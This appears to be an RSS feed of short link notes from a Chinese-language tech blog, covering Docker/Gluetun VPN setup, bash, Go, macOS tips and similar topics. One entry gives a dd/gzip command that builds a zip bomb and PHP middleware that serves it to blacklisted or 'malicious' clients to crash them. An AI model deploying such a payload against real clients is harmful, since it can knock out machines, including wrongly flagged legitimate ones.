&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>Install&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>WantedBy&lt;span style="color:#f92672">=&lt;/span>multi-user.target
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>systemctl daemon-reexec
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>systemctl daemon-reload
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>systemctl enable --now cpu-performance.service
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>6首國際最強公認催眠曲</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250829-music/</link><pubDate>Fri, 29 Aug 2025 15:58:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250829-music/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.instagram.com/p/DNakVD4P_t9" target="_blank" rel="noopener">6 首國際最強公認催眠曲&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol>
&lt;li>Marconi Union - Weightless&lt;/li>
&lt;li>432Hz (深度治癒身心靈 連接宇宙能量)&lt;/li>
&lt;li>Clair de Lune&lt;/li>
&lt;li>Deep sleep delta waves - Binaural beats sleep (30 分鐘版本)&lt;/li>
&lt;li>Erik SATIE - Gymnopédie No. 1 (鋼琴慢速版)&lt;/li>
&lt;li>Himalayan Healing - Tibetan Singing Bowls Meditation (15 分鐘版本)&lt;/li>
&lt;/ol></description></item><item><title>透過LinuxServer.io打包的Docker映像檔，將桌面程式轉成網頁版，透過瀏覽器即可使用</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250801-linuxserver.io/</link><pubDate>Fri, 01 Aug 2025 15:52:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250801-linuxserver.io/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ivonblog.com/posts/linuxserver-io-docker-applications/" target="_blank" rel="noopener">透過 LinuxServer.io 打包的 Docker 映像檔，將桌面程式轉成網頁版，透過瀏覽器即可使用&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.linuxserver.io/our-images" target="_blank" rel="noopener">LinuxServer.io 官網&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Gluetun：讓Docker容器走VPN連線，沒網路就斷線，使用教學</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250801-gluetun-vpn-docker/</link><pubDate>Fri, 01 Aug 2025 15:51:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250801-gluetun-vpn-docker/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ivonblog.com/posts/gluetun-vpn-docker/" target="_blank" rel="noopener">Gluetun：讓 Docker 容器走 VPN 連線，沒網路就斷線，使用教學&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="gluetun">Gluetun&lt;/h2>
&lt;ul>
&lt;li>OpenVPN&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">services&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">gluetun&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">image&lt;/span>: &lt;span style="color:#ae81ff">qmcgaw/gluetun&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">container_name&lt;/span>: &lt;span style="color:#ae81ff">gluetun&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">restart&lt;/span>: &lt;span style="color:#ae81ff">unless-stopped&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">cap_add&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">NET_ADMIN&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">devices&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">/dev/net/tun:/dev/net/tun&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ports&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">8888&lt;/span>:&lt;span style="color:#ae81ff">8888&lt;/span>&lt;span style="color:#ae81ff">/tcp&lt;/span> &lt;span style="color:#75715e"># HTTP proxy&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">8388&lt;/span>:&lt;span style="color:#ae81ff">8388&lt;/span>&lt;span style="color:#ae81ff">/tcp&lt;/span> &lt;span style="color:#75715e"># Shadowsocks&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">8388&lt;/span>:&lt;span style="color:#ae81ff">8388&lt;/span>&lt;span style="color:#ae81ff">/udp&lt;/span> &lt;span style="color:#75715e"># Shadowsocks&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">volumes&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">/home/user/gluetun:/gluetun&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">environment&lt;/span>: &lt;span style="color:#75715e"># 按照VPN供應商的OpenVPN設定檔填寫&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">VPN_SERVICE_PROVIDER=protonvpn&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">VPN_TYPE=openvpn&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">OPENVPN_USER=&lt;/span> &lt;span style="color:#75715e"># OpenVPN帳號&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">OPENVPN_PASSWORD=&lt;/span> &lt;span style="color:#75715e"># OpenVPN密碼&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">SERVER_COUNTRIES=United Kingdom&lt;/span> &lt;span style="color:#75715e"># 指定伺服器所在國家，以逗號分隔&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">networks&lt;/span>: &lt;span style="color:#75715e"># (選擇性) 固定Gluetun容器的IP&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">network&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ipv4_address&lt;/span>: &lt;span style="color:#ae81ff">172.27.0.5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">networks&lt;/span>: &lt;span style="color:#75715e"># (選擇性) 固定Gluetun容器的IP&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">network&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">driver&lt;/span>: &lt;span style="color:#ae81ff">bridge&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ipam&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">config&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">subnet&lt;/span>: &lt;span style="color:#ae81ff">172.27.0.0&lt;/span>&lt;span style="color:#ae81ff">/16&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">gateway&lt;/span>: &lt;span style="color:#ae81ff">172.27.0.5&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>WireGuard&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">services&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">gluetun&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">image&lt;/span>: &lt;span style="color:#ae81ff">qmcgaw/gluetun&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">container_name&lt;/span>: &lt;span style="color:#ae81ff">gluetun&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">restart&lt;/span>: &lt;span style="color:#ae81ff">unless-stopped&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">cap_add&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">NET_ADMIN&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">devices&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">/dev/net/tun:/dev/net/tun&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ports&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">8888&lt;/span>:&lt;span style="color:#ae81ff">8888&lt;/span>&lt;span style="color:#ae81ff">/tcp&lt;/span> &lt;span style="color:#75715e"># HTTP proxy&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">8388&lt;/span>:&lt;span style="color:#ae81ff">8388&lt;/span>&lt;span style="color:#ae81ff">/tcp&lt;/span> &lt;span style="color:#75715e"># Shadowsocks&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">8388&lt;/span>:&lt;span style="color:#ae81ff">8388&lt;/span>&lt;span style="color:#ae81ff">/udp&lt;/span> &lt;span style="color:#75715e"># Shadowsocks&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">volumes&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">/home/user/gluetun:/gluetun&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">environment&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">VPN_SERVICE_PROVIDER=protonvpn&lt;/span> &lt;span style="color:#75715e"># 按照VPN供應商的WireGuard設定檔填寫&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">VPN_TYPE=wireguard&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">WIREGUARD_PRESHARED_KEY=&lt;/span> &lt;span style="color:#75715e"># 預共享密鑰&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">WIREGUARD_PRIVATE_KEY=&lt;/span> &lt;span style="color:#75715e"># 私鑰&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">WIREGUARD_ADDRESSES=&lt;/span> &lt;span style="color:#75715e"># 填IPV4與IPV6位址，以逗號分隔&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">SERVER_COUNTRIES=United Kingdom&lt;/span> &lt;span style="color:#75715e"># 指定伺服器所在國家，以逗號分隔&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">networks&lt;/span>: &lt;span style="color:#75715e"># (選擇性) 固定Gluetun容器的IP&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">network&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ipv4_address&lt;/span>: &lt;span style="color:#ae81ff">172.27.0.5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">networks&lt;/span>: &lt;span style="color:#75715e"># (選擇性) 固定Gluetun容器的IP&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">network&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">driver&lt;/span>: &lt;span style="color:#ae81ff">bridge&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ipam&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">config&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">subnet&lt;/span>: &lt;span style="color:#ae81ff">172.27.0.0&lt;/span>&lt;span style="color:#ae81ff">/16&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">gateway&lt;/span>: &lt;span style="color:#ae81ff">172.27.0.5&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="讓容器走-gluetun-的-vpn-連線">讓容器走 Gluetun 的 VPN 連線&lt;/h2>
&lt;ul>
&lt;li>如果容器服務跟 Gluetun 寫在同一個 docker-compose：加入網路模式 network_mode: &amp;ldquo;service:gluetun&amp;rdquo;&lt;/li>
&lt;li>如果該容器跟 Gluetun 不是寫在同一個 docker-compose：加入 network_mode: &amp;ldquo;container:gluetun&amp;rdquo;&lt;/li>
&lt;li>開啟 Gluetun 的 docker-compose 檔案，把 service 用到的通訊埠(ex:8080)加回來&lt;/li>
&lt;li>依序啟動 Gluetun 和 走 Gluetun 的 VPN 連線的服務&lt;/li>
&lt;li>容器公共 IP 應當跟您選擇的 VPN 伺服器一致&lt;/li>
&lt;/ul></description></item><item><title>Go实战指南：使用 go-redis 执行 Lua 脚本</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250722-go-redis-lua/</link><pubDate>Tue, 22 Jul 2025 16:56:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250722-go-redis-lua/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.liwenzhou.com/posts/Go/go-redis-lua/" target="_blank" rel="noopener">Go 实战指南：使用 go-redis 执行 Lua 脚本&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol>
&lt;li>Redis command &lt;code>Eval&lt;/code>&lt;/li>
&lt;li>Redis package &lt;code>redis.NewScript&lt;/code>, &lt;code>script.Run&lt;/code>&lt;/li>
&lt;/ol></description></item><item><title>TIL：Bash 腳本的 timeout</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250612-bash-timeout/</link><pubDate>Thu, 12 Jun 2025 09:04:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250612-bash-timeout/</guid><description>&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://heitorpb.github.io/bla/timeout/" target="_blank" rel="noopener">TIL：Bash 腳本的 timeout&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>timeout 1m ./until.sh&lt;/code>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>包一層&lt;/p>
&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>timeout 1m bash -c &lt;span style="color:#e6db74">&amp;#34;until curl --silent --fail-with-body 10.0.0.1:8080/health; do
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> sleep 1
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">done&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>TaigiTube 台語水管</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250508-taigitube/</link><pubDate>Thu, 08 May 2025 08:43:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250508-taigitube/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://taigitube.com/" target="_blank" rel="noopener">TaigiTube 台語水管&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>我用 Zip Bomb 來保護我的伺服器</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250503-zipbomb-protection/</link><pubDate>Sat, 03 May 2025 11:24:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250503-zipbomb-protection/</guid><description>&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://idiallo.com/blog/zipbomb-protection" target="_blank" rel="noopener">我用 Zip Bomb 來保護我的伺服器&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>發生的情況是：對方收到檔案後，讀取標頭得知這是壓縮檔，因此嘗試解壓那個 1MB 的檔案來找他們要的內容。但檔案會不斷膨脹，直到耗盡記憶體、伺服器崩潰。1MB 的檔案會解壓成 1GB，這已足以讓多數機器人失敗。不過對於那些死纏爛打的腳本，我就給它 10MB 的檔案，解壓後會變成 10GB，立刻把腳本搞掛。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>dd if=/dev/zero bs=1G count=10 | gzip -c &amp;gt; 10GB.gz&lt;/code>&lt;/p>
&lt;ul>
&lt;li>&lt;code>dd&lt;/code>：用於複製或轉換資料的指令。&lt;/li>
&lt;li>&lt;code>if&lt;/code>：輸入檔案，這裡指定 &lt;code>/dev/zero&lt;/code>，它會產生無限的零位元組串流。&lt;/li>
&lt;li>&lt;code>bs&lt;/code>：區塊大小，設為 1GB（1G），代表 dd 會以 1GB 為單位讀寫。&lt;/li>
&lt;li>&lt;code>count=10&lt;/code>：代表處理 10 個區塊、每個 1GB，因此會產生 10GB 的零資料。&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>middleware&lt;/p>
&lt;/li>
&lt;/ul>
&lt;pre tabindex="0">&lt;code>if (ipIsBlackListed() || isMalicious()) {
header(&amp;#34;Content-Encoding: gzip&amp;#34;);
header(&amp;#34;Content-Length: &amp;#34;. filesize(ZIP_BOMB_FILE_10G)); // 10 MB
readfile(ZIP_BOMB_FILE_10G);
exit;
}
&lt;/code>&lt;/pre></description></item><item><title>人人都需要一個 HTTP proxy 來 debug</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250425-everyone-need-a-http-proxy-to-debug/</link><pubDate>Fri, 25 Apr 2025 16:58:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250425-everyone-need-a-http-proxy-to-debug/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.huli.tw/2025/04/23/everyone-need-a-http-proxy-to-debug/" target="_blank" rel="noopener">人人都需要一個 HTTP proxy 來 debug&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol>
&lt;li>&lt;a href="https://www.charlesproxy.com/" target="_blank" rel="noopener">Charles&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://portswigger.net/burp/communitydownload" target="_blank" rel="noopener">Burp Suite&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mitmproxy.org/" target="_blank" rel="noopener">mitmproxy&lt;/a>&lt;/li>
&lt;/ol></description></item><item><title>為什麼大寫字母的 QR Code 會比小寫字母的更小？</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250423-why-are-qr-codes-with-capital-letters-smaller-than-qr-codes-with-lower-case-letters/</link><pubDate>Wed, 23 Apr 2025 15:45:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250423-why-are-qr-codes-with-capital-letters-smaller-than-qr-codes-with-lower-case-letters/</guid><description>&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://shkspr.mobi/blog/2025/02/why-are-qr-codes-with-capital-letters-smaller-than-qr-codes-with-lower-case-letters/" target="_blank" rel="noopener">為什麼大寫字母的 QR Code 會比小寫字母的更小？&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>如果你想讓包含 URL 的二維碼擁有盡可能小的實體尺寸，請確保文字全部大寫。&lt;/p>
&lt;/li>
&lt;/ul></description></item><item><title>Marp教學：Markdown搭配VS Code做簡報，快速輸出為PPTX或PDF，提昇做簡報效率</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250408-vscode-marp-presentation/</link><pubDate>Tue, 08 Apr 2025 09:12:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250408-vscode-marp-presentation/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ivonblog.com/posts/vscode-marp-presentation/" target="_blank" rel="noopener">Marp 教學：Markdown 搭配 VS Code 做簡報，快速輸出為 PPTX 或 PDF，提昇做簡報效率&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol>
&lt;li>Install &amp;lsquo;Marp for VS Code&amp;rsquo;&lt;/li>
&lt;li>在 Markdown 最前面的 FrontMatter，插入以下屬性，啟用 Marp，並開啟顯示頁數功能&lt;/li>
&lt;/ol>
&lt;pre tabindex="0">&lt;code>---
marp:true
paginate: true
---
&lt;/code>&lt;/pre>&lt;ol start="3">
&lt;li>Markdown 文字都是直排排列的，需要換行請加上&lt;code>\&lt;/code>。&lt;/li>
&lt;li>輸入三條橫線&lt;code>---&lt;/code>分隔投影片。&lt;/li>
&lt;li>插入註解請用&lt;code>&amp;lt;!-- --&amp;gt;&lt;/code>語法。&lt;/li>
&lt;/ol></description></item><item><title>Go Protobuf：新的 Opaque API</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250407-protobuf-opaque/</link><pubDate>Mon, 07 Apr 2025 13:53:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250407-protobuf-opaque/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.liwenzhou.com/posts/Go/protobuf-opaque/" target="_blank" rel="noopener">[译]Go Protobuf：新的 Opaque API&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-diff" data-lang="diff">&lt;span style="display:flex;">&lt;span>protoc --proto_path=. \
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> --go_out=./ \
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">+ --go_opt=default_api_level=API_OPAQUE \
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>macOS 使用技巧與小訣竅</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250307-macos-tips/</link><pubDate>Fri, 07 Mar 2025 16:05:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20250307-macos-tips/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://saurabhs.org/macos-tips" target="_blank" rel="noopener">macOS 使用技巧與小訣竅&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="一般">一般&lt;/h3>
&lt;h4 id="原生-ui-習慣">原生 UI 習慣&lt;/h4>
&lt;ul>
&lt;li>按 ⇧⌘/ 可搜尋目前應用程式的所有選單項目，接著用上下箭頭瀏覽結果，按 &lt;code>Return&lt;/code> 執行該選單動作。&lt;/li>
&lt;li>按 ⌃F2 將鍵盤焦點移到應用程式的選單列，輸入選單標題的前幾個字母即可跳到該選單。&lt;/li>
&lt;li>展開樹狀清單時按住 &lt;code>Option&lt;/code> 可遞迴展開所有子項（最容易測試的地方是 Finder 的列表檢視）。&lt;/li>
&lt;li>在對話框/工作表上，按 &lt;code>Command&lt;/code> 加按鈕的首字母可直接按下該按鈕。⌘. 等同於 &lt;code>Escape&lt;/code>。&lt;/li>
&lt;li>按住 &lt;code>Control&lt;/code> 與 &lt;code>Option&lt;/code> 點擊視窗，可切換焦點但不把視窗置頂。&lt;/li>
&lt;li>拖曳工具列圖示時按住 &lt;code>Command&lt;/code> 可改變位置。&lt;/li>
&lt;li>預設在捲軸上點擊會部分捲動到該位置；按住 &lt;code>Option&lt;/code> 點擊捲軸可直接跳到點擊處。&lt;/li>
&lt;li>拖曳捲軸滑塊時按住 &lt;code>Option&lt;/code> 可慢速捲動。&lt;/li>
&lt;li>在可捲動區域，用上下鍵小幅捲動；按住 &lt;code>Option&lt;/code> 可大幅捲動，按住 &lt;code>Command&lt;/code> 則捲到開頭或結尾。&lt;/li>
&lt;li>按 Page Up/Page Down 時按住 &lt;code>Option&lt;/code>，捲動同時移動游標。&lt;/li>
&lt;li>在 Tab 鍵被視為輸入的欄位中，按 &lt;code>Control-Tab&lt;/code> 和 &lt;code>Control-Shift-Tab&lt;/code> 可移動到前一或下一個控制項。&lt;/li>
&lt;li>游標停在單字上時按 ⌃⌘D 可顯示行內字典解釋。&lt;/li>
&lt;li>按 ⌃F6 可把焦點移到浮動視窗。&lt;/li>
&lt;li>快速尋找文字：選取文字後按 ⌘E，再按 ⌘G。&lt;/li>
&lt;li>按 ⌃⌫ 可只刪除上一個字元的重音符號（例如 é 變成 e）。&lt;/li>
&lt;li>在字體視窗輸入 &lt;code>*X&lt;/code> 可縮放目前字體大小，例如 &lt;code>*1.5&lt;/code>。&lt;/li>
&lt;li>輸入文字時，按 ⌥⇧K（美式鍵盤）可插入蘋果標誌。&lt;/li>
&lt;li>拖曳子母畫面（PiP）視窗時按住 &lt;code>Command&lt;/code>，可自由移動而不會吸附到螢幕角落。&lt;/li>
&lt;/ul>
&lt;h4 id="截圖">截圖&lt;/h4>
&lt;ul>
&lt;li>按下 ⇧⌘4 並拖曳選取截圖區域時，按住 &lt;code>Option&lt;/code> 可從中心縮放，按住 &lt;code>Shift&lt;/code> 可只調整單一軸向。畫好區域後，按住空白鍵並拖曳可移動選取區域。&lt;/li>
&lt;li>按下 ⇧⌘4 後截圖時按住 &lt;code>Control&lt;/code>，可複製到剪貼簿而非儲存檔案。&lt;/li>
&lt;li>按下 ⇧⌘4 後按空白鍵可選擇視窗截圖，截圖時按住 &lt;code>Option&lt;/code> 可移除視窗陰影。&lt;/li>
&lt;li>在浮動截圖預覽上按右鍵可使用更多動作。&lt;/li>
&lt;/ul>
&lt;h4 id="開啟儲存對話框">開啟/儲存對話框&lt;/h4>
&lt;ul>
&lt;li>將 Finder 中的檔案或資料夾拖到開啟/儲存對話框，可直接跳到該位置。&lt;/li>
&lt;li>在儲存對話框按 ⌘= 可切換精簡與展開版面。&lt;/li>
&lt;li>在儲存對話框，按 ⌘⌫ 啟用 Delete，⌘D 啟用 Don&amp;rsquo;t Save，⌘.（或 &lt;code>Esc&lt;/code>）啟用 Cancel。&lt;/li>
&lt;li>按 &lt;code>~&lt;/code> 會開啟 Go To File 對話框並預填家目錄；按 &lt;code>/&lt;/code> 則預填根目錄。&lt;/li>
&lt;li>按 ⌘R 可在 Finder 顯示選取項目。&lt;/li>
&lt;/ul>
&lt;h4 id="mission-control--視窗管理">Mission Control / 視窗管理&lt;/h4>
&lt;ul>
&lt;li>視窗未啟用時，按住 &lt;code>Command&lt;/code> 可操作它而不會讓它變成前景視窗。&lt;/li>
&lt;li>按 Mission Control 功能鍵時按住 &lt;code>Control&lt;/code>，只顯示目前應用程式的視窗；按住 &lt;code>Command&lt;/code> 則顯示桌面。&lt;/li>
&lt;li>按住 &lt;code>Option&lt;/code> 雙擊視窗角落可把視窗擴展填滿螢幕。&lt;/li>
&lt;li>&lt;code>Option&lt;/code> 點擊可切換視窗並隱藏前一個應用程式；&lt;code>Command-Option&lt;/code> 點擊可切換視窗並隱藏其他應用程式。&lt;/li>
&lt;li>在 Command-Tab 切換器中，按上下箭頭（或數字鍵 1）可查看該應用程式的視窗。&lt;/li>
&lt;li>在 Command-Tab 切換器中，按住 &lt;code>Option&lt;/code> 切換到應用程式，可解除最小化該應用程式的所有視窗。&lt;/li>
